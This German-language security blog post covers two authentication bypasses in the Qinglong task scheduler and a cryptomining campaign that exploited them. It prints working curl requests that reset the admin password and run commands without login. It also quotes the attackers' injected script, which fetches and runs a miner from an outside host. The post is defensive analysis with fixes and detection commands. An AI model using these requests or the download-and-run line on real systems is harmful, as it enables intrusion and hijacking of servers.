Qinglong-Aufgabenplaner: RCE-Schwachstellen werden für Kryptomining ausgenutzt

Anfang Februar 2026 berichteten Nutzer von Qinglong (青龙), einer beliebten Open-Source-Plattform zur zeitgesteuerten Aufgabenverwaltung mit über 19.000 GitHub-Sternen, dass ihre Server nahezu vollständig ausgelastet waren. Ursache war eine Kryptominer-Binärdatei namens .fullgc, die über zwei Schwachstellen zur Umgehung der Authentifizierung eingeschleust wurde und unauthentisierte Remote-Code-Ausführung ermöglichte.

In der englischsprachigen Sicherheitscommunity blieben die Angriffe weitgehend unbemerkt. In chinesischen Entwicklerforen und GitHub-Issues zeichnete sich jedoch ein klares Bild ab: Angreifer nutzten öffentlich zugängliche Qinglong-Panels aus, um Kryptowährungs-Miner einzuschleusen.

Zeitleiste

Was ist Qinglong?

Qinglong ist ein selbst ge hostetes Aufgabenplanungs-Panel, das Skripte in Python3, JavaScript, Shell und TypeScript unterstützt. Es wird in der chinesischen Entwicklercommunity häufig verwendet, um wiederkehrende Aufgaben zu automatisieren – von der Datenerfassung bis hin zu Benachrichtigungsabläufen. Das Projekt ist sowohl als Docker-Image als auch als npm-Paket (@whyour/qinglong) verfügbar.

Die npm-Downloadzahlen sind zwar niedrig, doch Docker ist der wichtigste Vertriebskanal. Die 19.400 Sterne und 3.200 Forks des Projekts auf GitHub spiegeln eine beträchtliche Nutzerbasis wider, vor allem unter chinesischsprachigen Entwicklern, die es auf Cloud-VPS-Instanzen und Heimservern bereitstellen.

Die Schwachstellen

Am 27. Februar 2026 wurden zwei unterschiedliche Schwachstellen zur Umgehung der Authentifizierung gemeldet. Beide betreffen Qinglong Version 2.20.1 und frühere Versionen und sind nun in der Snyk Vulnerability Database erfasst: SNYK-JS-WHYOURQINGLONG-15440732 und SNYK-JS-WHYOURQINGLONG-15468374.

Umgehung der Authentifizierung durch URL-Rewriting (CVE-2026-3965)

Die erste Schwachstelle (CVE-2026-3965, GitHub Issue #2933) nutzt eine URL-Rewriting-Regel in der Express.js-Middleware der Anwendung aus. Qinglong schreibt Anfragen von /open/* zu /api/$1 um. Dadurch entsteht ein unbeabsichtigter Pfad zu geschützten Admin-Endpunkten.

Ein Angreifer konnte die Admin-Anmeldedaten mit einer einzigen unauthentisierten Anfrage zurücksetzen:

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

Nach dem Zurücksetzen der Anmeldedaten hatte der Angreifer die volle Kontrolle über das Panel und konnte beliebige Skripte erstellen und ausführen.

Umgehung der Authentifizierung durch Beachtung der Groß- und Kleinschreibung bei Pfaden (CVE-2026-4047)

Die zweite Schwachstelle (CVE-2026-4047, GitHub Issue #2934) ermöglicht unauthentisierte RCE, ohne dass ein Passwort zurückgesetzt werden muss. Die Authentifizierungs-Middleware verwendet einen Abgleich unter Beachtung der Groß- und Kleinschreibung (req.path.startsWith('/api/')), um geschützte Routen zu erkennen. Express.js selbst gleicht Routen jedoch ohne Beachtung der Groß- und Kleinschreibung ab. Eine Anfrage an /aPi/system/command-run statt an /api/system/command-run umgeht die Authentifizierungsprüfung vollständig und wird dennoch an den Endpunkt für die Befehlsausführung weitergeleitet:

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

So wird unauthentisierte Remote-Code-Ausführung ermöglicht, ohne dass Anmeldedaten zurückgesetzt werden müssen.

Ein häufiges Anti-Pattern

Beide Schwachstellen gehen auf eine Diskrepanz zwischen den Annahmen der Sicherheits-Middleware und dem Verhalten des Frameworks zurück. Die Authentifizierungsschicht ging davon aus, dass bestimmte URL-Muster stets auf eine bestimmte Weise verarbeitet würden, während Express.js sie anders behandelte. Diese Art von Problem ist in der Sicherheit von Webanwendungen gut dokumentiert: Wenn die Autorisierungslogik die Anfrage anders interpretiert als die Routing-Schicht, kann es leicht zu Umgehungen kommen. Snyk hat bereits ausführlich über fehlerhafte Zugriffskontrollmuster in Express.js berichtet. Auch in Next.js wurde eine ähnliche Umgehung der Middleware-Autorisierung (CVE-2025-29927) entdeckt. Diese Schwachstellenklasse ist also nicht auf ein bestimmtes Framework beschränkt.

Die Kryptomining-Kampagne

Obwohl diese Schwachstellen erst am 27. Februar offiziell gemeldet wurden, liefen die Angriffe bereits seit Wochen. Ab etwa dem 7.–8. Februar 2026 berichteten Qinglong-Nutzer in Issues über einen versteckten Prozess namens .fullgc, der 85–100 % ihrer CPU-Ressourcen beanspruchte.

So lief der Angriff ab

Angreifer nutzten die Umgehung der Authentifizierung aus, um die Qinglong-Konfigurationsdatei (config.sh) zu ändern und ein Shell-Skript einzuschleusen, das:

1. eine plattformspezifische Binärdatei von file.551911.xyz herunterlud (für Linux x86_64, ARM64 und macOS-Varianten)

2. sie als versteckte Datei unter /ql/data/db/.fullgc speicherte

3. sie ausführbar machte und als Hintergrundprozess mit unterdrückter Ausgabe startete

4. Persistenzlogik enthielt, um den Miner nach dem Beenden neu zu starten

Der eingeschleuste Code sah ungefähr so aus:

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

Der Dateiname .fullgc wurde möglicherweise gewählt, um sich unter legitimen Prozessen zu tarnen. In Java-/JVM-Umgebungen ist „Full GC“ (Full Garbage Collection) als mögliche Ursache für CPU-Spitzen bekannt, was die Untersuchung durch Administratoren verzögern könnte.

Ausmaß der Auswirkungen

Mehrere Nutzer meldeten Infektionen bei unterschiedlichen Bereitstellungskonfigurationen, darunter Systeme hinter Nginx-Reverse-Proxys mit SSL. Cloud-Anbieter wie Alibaba Cloud (Aliyun) kennzeichneten betroffene Instanzen wegen Kryptomining-Aktivitäten. Mindestens ein Nutzer berichtete, dass Angreifer über denselben Zugriff auch sein Nezha-Monitoring-Panel kompromittiert und dadurch Einblick in Hunderte von Maschinen erhalten hatten.

In der Community-Diskussion unter Issue #2926 wurde der Maintainer aufgefordert, über den Telegram-Kanal des Projekts eine Warnung herauszugeben. Nutzer wurden noch Tage nach den ersten Meldungen kompromittiert.

Wie die Schwachstelle behoben wurde

Die erste Reaktion (PR #2924) konzentrierte sich auf die Eingabevalidierung: curl, wget, Command-Substitution-Muster und andere Shell-Metazeichen in Cron-Aufgabenfeldern sollten blockiert werden. Das ist eine Maßnahme zur mehrschichtigen Verteidigung, behebt jedoch nur die konkrete Angriffsnutzlast und nicht das zugrunde liegende Problem der Zugriffskontrolle. Bemerkenswert ist, dass PR #2924 nie gemergt wurde. Die eigentliche Behebung erforderte, die Umgehung der Authentifizierung auf Middleware-Ebene anzugehen. Dies geschah mit PR #2941.

Diese Reihenfolge ist sinnvoll. Wird eine Anwendung aktiv angegriffen, liegt es nahe, zunächst die beobachtete Nutzlast zu blockieren. Liegt die Ursache jedoch in einer Umgehung der Authentifizierung, reicht eine Filterung auf Nutzlast-Ebene nicht aus – Angreifer weichen einfach auf eine andere Nutzlast aus. Die Entscheidung des Maintainers, der Behebung auf Authentifizierungs-Ebene (PR #2941) Vorrang vor dem Blockieren der Nutzlast (PR #2924) zu geben, entspricht der richtigen Sicherheitspraxis: Beheben Sie zuerst das Zugriffskontrollproblem und ziehen Sie Eingabevalidierung anschließend als zusätzliche Schutzmaßnahme in Betracht.

Lehren für die Sicherheit selbst gehosteter Anwendungen

Dieser Vorfall macht Risiken deutlich, die weit über das Qinglong-Projekt hinausgehen.

Prüfen Sie Ihre Middleware-Kette

Wenn Ihre Anwendung URL-Rewriting oder pfadbasierte Autorisierung verwendet, sollten Sie sicherstellen, dass sich Sicherheits-Middleware und Routing-Schicht bei der Klassifizierung von Anfragen einig sind. Groß- und Kleinschreibung, abschließende Schrägstriche, URL-Kodierung und Rewrite-Regeln sind häufige Ursachen für Abweichungen. Die Lektion von Snyk Learn zu Fehlkonfigurationen der API-Sicherheit behandelt diese Muster ausführlicher. Tools wie Snyk Code helfen Ihnen dabei, sie in Ihren eigenen Anwendungen zu erkennen.

Betrachten Sie selbst gehostete Panels als Angriffsfläche

Jede Webanwendung, die im Internet erreichbar ist, kann zum Ziel werden – unabhängig davon, wie spezialisiert sie ist. Verfügt sie über eine API, die Befehle ausführen kann, muss die Authentifizierung zuverlässig funktionieren. Stellen Sie selbst gehostete Tools möglichst hinter einem VPN oder SSH-Tunnel bereit, statt sie direkt zugänglich zu machen.

Achten Sie auf unerwarteten Ressourcenverbrauch

Das Kryptomining wurde vor allem aufgrund der CPU-Auslastung entdeckt. Hätten die Angreifer den Miner auf nur 20–30 % CPU-Auslastung gedrosselt, wäre der Angriff deutlich später aufgefallen. Nutzen Sie Ressourcenlimits für Container und Monitoring, um anomales Verhalten frühzeitig zu erkennen.

Halten Sie Ihre Docker-Images aktuell

Qinglong wird hauptsächlich über Docker bereitgestellt. Container-Images aktuell zu halten, ist entscheidend – besonders dann, wenn Sicherheits-Patches verfügbar sind. Der Leitfaden von Snyk zu 10 Best Practices für Docker-Sicherheit vermittelt die Grundlagen. Tools wie Snyk Container überwachen Ihre Container-Images kontinuierlich auf bekannte Schwachstellen.

Überprüfen Sie Ihre Konfigurationen

Wenn Sie Qinglong aktuell oder früher betrieben haben, achten Sie auf Anzeichen einer Kompromittierung:

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

Wenn das System kompromittiert wurde, löschen Sie die eingebundenen Docker-Volumes (nicht nur den Container), entfernen Sie schädlichen Code aus config.sh, erstellen Sie die Container mit einem sauberen Image neu und aktualisieren Sie auf die neueste Version.

Das Gesamtbild

Die Schwachstellen in Qinglong zeigen, warum Open-Source-Sicherheit kontinuierliche Aufmerksamkeit erfordert. Ein Projekt kann Tausende von Sternen und eine aktive Community haben und dennoch jahrelang kritische Sicherheitslücken in seiner Authentifizierungsschicht aufweisen. Die Umgehung der Authentifizierung über ein Routing ohne Beachtung der Groß- und Kleinschreibung (Issue #2934) betraf Berichten zufolge alle Versionen. Ähnlich war es beim KI-Sicherheitsvorfall bei Ultralytics: Auch dort nutzten Angreifer den Zugriff auf ein Open-Source-Projekt, um Kryptominer einzuschleusen.

Kryptomining-Nutzlasten lassen sich mit geringem Aufwand einschleusen und sind schwer zu erkennen – insbesondere auf Plattformen wie Aufgabenplanern, die bestimmungsgemäß beliebige Skripte ausführen. Für Betreiber selbst gehosteter Tools ist dieser Vorfall ein anschauliches Beispiel dafür, warum Netzwerkexposition, Authentifizierungsdesign und konsequente Updates gleichermaßen wichtig sind.